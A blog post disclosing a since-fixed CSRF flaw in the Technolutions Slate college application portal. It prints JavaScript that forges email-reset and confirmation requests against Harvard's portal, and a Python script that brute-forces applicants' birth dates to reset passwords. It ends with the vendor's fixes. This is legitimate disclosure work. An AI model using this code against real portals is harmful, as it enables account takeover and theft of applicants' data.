Hacking Harvard (and nearly every other college)
Technolutions Slate creates and hosts the applied and admitted student portals for nearly every college, including every ivy league school. Notable exceptions include Carnegie Mellon and the University of Maryland (among others), who roll their own solutions.
And until April 9, 2018, they were vulnerable to a wicked CSRF vulnerability that could, within seconds, reset a logged-in user’s email address, and within minutes, take complete control over his or her account, allowing the attacker to withdraw college applications and steal sensitive information.
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.
From OWASP
Step 1: Reset the user’s email
From the user’s perspective, the email reset form looks like this:
The form sends a POST
to /account/migrate
with the body parameter email2
containing the new email address. On a malicious site, the following javascript will trigger the email reset:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://apply.college.harvard.edu/account/migrate', true);
xhr.withCredentials = true;
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send('[email protected]');
xhr.withCredentials = true
is the important part here, since it tells the browser to send along the user’s authentication cookies with the request.
Note: Technolutions were unable to reproduce this step, although my PoC code had been working the entire afternoon I had been testing this bug. I have no idea why.
Step 1.5: The confirmation link!
To complicate matters, the user must confirm the email change by clicking on a link sent to the new email address:
This link is long, contains a huge nonce, and looks like this:
https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce
Confirming from the link requires proper authentication, and so the request must be sent from the victim’s browser as well. Whether by convincing the user to visit another site, or for the first malicious page to request the confirmation link from the attacker’s server, one can apply the same technique to confirm the change:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://mx.technolutions.net/mpss/c/rest-of-the-confirmation-nonce', true);
xhr.withCredentials = true;
xhr.send(null);
By now, we’ve reset the user’s email address and confirmed the change. However, we don’t yet have access to the user’s account.
Step 2: Resetting the password
Fortunately, we’ve bound our email address to the user’s account. Unfortunately, resetting the password requires knowledge of the user’s birth date:
The thing is, there are only 365 days in a year, and most college applicants in a given year are born within the same two years (this year, it’s 1999 and 2000), meaning worst case, it takes 730 guesses, and on average, only 365 guesses, which is a relatively tiny search space to brute force. Clever use of birth date distributions might bring that average even lower, although I have yet to explore that possibility.
Regardless, the route /account/reset
isn’t rate limited, meaning we can write a quick script to try all possible dates within a two year interval:
import requests
from datetime import date
from dateutil.rrule import rrule, DAILY
import code
RESET_URL = "https://apply.college.harvard.edu/account/reset"
SUCCESS_TEST = "A temporary PIN has been sent to your email address."
EMAIL = "[email protected]"
START_DATE = date(1999, 1, 1)
END_DATE = date(2000, 12, 31)
for dt in rrule(DAILY, dtstart=START_DATE, until=END_DATE):
month = dt.strftime('%m')
day = dt.strftime('%d')
year = dt.strftime('%Y')
print(f"Trying {month}/{day}/{year}")
r = requests.post(RESET_URL, data={
"email": EMAIL,
"birthdate_m": month,
"birthdate_d": day,
"birthdate_y": year
})
if SUCCESS_TEST in r.text:
print("FOUND BIRTH DATE")
break
With this script, I was able to find my own birth date within one minute.
Technolutions’s Response
Technolutions staff replied within hours of my email report, and had it fixed within a day. Very impressive!
Actions they took:
- Slate now checks the
referer
andorigin
headers, and drops auth when they originate from third parties - There is now an extra button (with its own nonce) to confirm the email change
- Cookies are
SameSite
- The password reset page is rate limited to prevent brute-forcing
- Gave me some swag